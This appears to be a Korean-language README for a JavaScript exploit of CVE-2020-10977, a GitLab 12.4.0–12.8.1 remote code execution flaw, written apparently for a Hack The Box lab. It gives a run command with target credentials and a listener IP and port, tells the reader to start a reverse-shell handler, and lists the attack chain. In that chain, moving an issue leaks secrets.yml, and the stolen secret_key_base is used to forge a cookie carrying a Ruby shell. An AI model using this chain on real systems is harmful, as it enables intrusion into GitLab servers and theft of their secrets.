CVE-2020-10977

GitLab v12.4.0-12.8.1 RCE

전적으로 https://github.com/dotPY-hax/gitlab_RCE 에 기반하며, 해당 스크립트는 저에게 작동하지 않았고 HTML 파싱 부분이 번거로워 보여서 JS로 다시 작성했습니다.

사용법

평소 방식대로 리버스 셸 핸들러를 시작한 다음 이 스크립트를 실행하세요:

TARGET_URI="https://target" TARGET_EMAIL_DOMAIN="laboratory.htb" \
 TARGET_USER="test" TARGET_PASSWORD="Test pass 123" \
 LOCAL_IP="10.10.14.142" LOCAL_PORT="44044" \
 node gitlab_rce.js

프록시는 TUNNEL_HOST="127.0.0.1" TUNNEL_PORT="8080"로 지정할 수 있습니다. 이것으로 디버깅할 때 Burp가 특히 유용합니다.

이 스크립트가 수행하는 작업

1. 대상이 켜져 있는지 확인
2. 제공된 사용자가 존재하면 5단계로 이동
3. 아직 존재하지 않는 사용자 이름을 스캔
4. 해당 사용자 생성
5. 로그인 시도
6. 빈 프로젝트 두 개 생성
7. 첫 번째 프로젝트에 본문에 악성 링크가 포함된 새 이슈 티켓 생성
8. 새 티켓을 다른 프로젝트로 이동하여 GitLab이 악성 링크를 다시 쓰고 링크가 가리키는 파일을 uploads 디렉터리로 복사하게 함
9. 대상 파일을 가져옴. 이 경우 secret_key_base를 위해 secrets.yml을 가져옴
10. secret_key_base를 사용해 Ruby 셸이 포함된 악성 쿠키를 만들고 GitLab에 전달